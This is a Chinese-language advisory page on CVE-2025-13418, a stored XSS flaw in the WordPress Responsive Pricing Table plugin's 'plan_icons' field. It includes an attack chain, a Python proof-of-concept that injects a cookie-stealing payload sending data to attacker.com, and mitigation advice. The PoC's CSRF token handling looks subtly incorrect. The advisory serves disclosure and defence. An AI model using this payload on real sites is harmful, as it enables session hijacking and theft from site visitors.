IPBUF安全漏洞报告
English
CVE-2025-13418 CVSS 6.4 中危

CVE-2025-13418 WordPress Responsive Pricing Table插件存储型XSS漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2025-13418
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Responsive Pricing Table (dk-pricr-responsive-pricing-table) WordPress插件

相关标签

CVE-2025-13418WordPress插件漏洞存储型XSSCross-Site ScriptingResponsive Pricing Tabledk-pricr-responsive-pricing-table认证用户漏洞WordPress安全CVSS 6.4中危漏洞

漏洞概述

Responsive Pricing Table是WordPress平台上一款流行的响应式定价表插件,允许用户创建美观的定价对比页面。该插件在5.1.12及之前的所有版本中存在严重的存储型跨站脚本(Stored XSS)漏洞。漏洞根源在于插件对用户输入的'plan_icons'参数缺乏充分的输入消毒和输出转义处理。攻击者只需拥有Author(作者)级别或更高的WordPress账号权限,即可利用此漏洞在包含定价表内容的页面中注入任意JavaScript代码。由于该脚本会被永久存储在数据库中,任何访问被注入页面的用户都会自动执行恶意代码,可能导致会话劫持、凭据窃取、重定向至钓鱼网站等严重后果。此漏洞的CVSS评分为6.4,属于中危级别,但实际危害程度取决于被注入页面的访问量。

技术细节

漏洞存在于插件处理'plan_icons'参数的函数中。当用户在插件设置页面输入图标标识符时,插件直接将用户输入存储到数据库,未进行任何HTML特殊字符转义处理。随后在页面渲染时,这些未转义的数据被直接输出到HTML中。具体攻击流程如下:1)攻击者以Author权限登录WordPress后台;2)导航至插件的定价表编辑页面;3)在'plan_icons'字段中注入恶意JavaScript代码,如<img src=x onerror=alert(document.cookie)>;4)保存设置后,恶意代码被写入数据库;5)当其他用户访问包含该定价表的页面时,浏览器会解析并执行注入的脚本。由于WordPress的权限体系中Author角色通常可以创建和编辑页面/文章,因此攻击门槛相对较低。修复方案应在存储前对用户输入进行htmlspecialchars()或类似函数转义,并在输出时再次进行转义处理。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标网站使用的WordPress版本及Responsive Pricing Table插件版本,确认版本 <= 5.1.12
STEP 2
初始访问
攻击者获取WordPress后台Author级别账户凭据,可通过钓鱼、凭据填充或利用其他低危漏洞获得
STEP 3
漏洞利用-注入
攻击者登录后台,导航至插件的定价表编辑页面,在'plan_icons'参数中注入恶意JavaScript代码并保存
STEP 4
持久化
恶意代码被永久存储在WordPress数据库中,无需攻击者进一步操作
STEP 5
触发执行
当普通用户访问包含该定价表的任何页面时,浏览器解析HTML时自动执行注入的JavaScript代码
STEP 6
恶意行为
执行窃取用户Cookie、会话劫持、重定向至钓鱼网站、修改页面内容等恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys from bs4 import BeautifulSoup # CVE-2025-13418 PoC - Stored XSS in Responsive Pricing Table Plugin # Target: WordPress site with Responsive Pricing Table plugin <= 5.1.12 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "author_username" PASSWORD = "author_password" def get_csrf_token(session, url): """Extract CSRF token from login page""" response = session.get(f"{url}/wp-login.php") soup = BeautifulSoup(response.text, 'html.parser') token = soup.find('input', {'name': '_wp_token'}) return token['value'] if token else '' def login(session, username, password): """Authenticate to WordPress""" csrf_token = get_csrf_token(session, TARGET_URL) login_data = { 'log': username, 'pwd': password, 'wp_token': csrf_token, 'rememberme': 'forever', 'testcookie': '1' } session.post(f"{TARGET_URL}/wp-login.php", data=login_data) return session def exploit_stored_xss(session): """Inject malicious JavaScript via plan_icons parameter""" # XSS payload - steals cookies xss_payload = "<img src=x onerror=\"fetch('https://attacker.com/steal?c='+document.cookie)\">" # Target plugin admin interface exploit_url = f"{TARGET_URL}/wp-admin/admin.php?page=dk-pricr-pricing-table" exploit_data = { 'action': 'dk_pricr_save_plan', 'plan_icons': xss_payload, '_wp_token': get_csrf_token(session, TARGET_URL) } response = session.post(exploit_url, data=exploit_data) return response.status_code == 200 def main(): session = requests.Session() session.headers.update({'User-Agent': 'Mozilla/5.0'}) print("[*] Logging in to WordPress...") login(session, USERNAME, PASSWORD) print("[*] Injecting XSS payload via plan_icons parameter...") if exploit_stored_xss(session): print("[+] XSS payload injected successfully!") print("[+] Visit any page with the pricing table to trigger the payload") else: print("[-] Exploitation failed") if __name__ == "__main__": main()

影响范围

Responsive Pricing Table (dk-pricr-responsive-pricing-table) <= 5.1.12

防御指南

临时缓解措施
在官方安全补丁发布前,建议采取以下临时措施:1)立即审查并移除所有非管理员创建的定价表内容,检查是否存在可疑脚本;2)临时禁用Responsive Pricing Table插件或限制只有管理员可以编辑定价表;3)启用Web应用防火墙(WAF)规则拦截包含常见XSS特征的请求模式;4)增强WordPress会话管理,启用双因素认证(2FA)防止账户被盗用;5)使用HTTP安全头部如Content-Security-Policy限制脚本执行来源。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表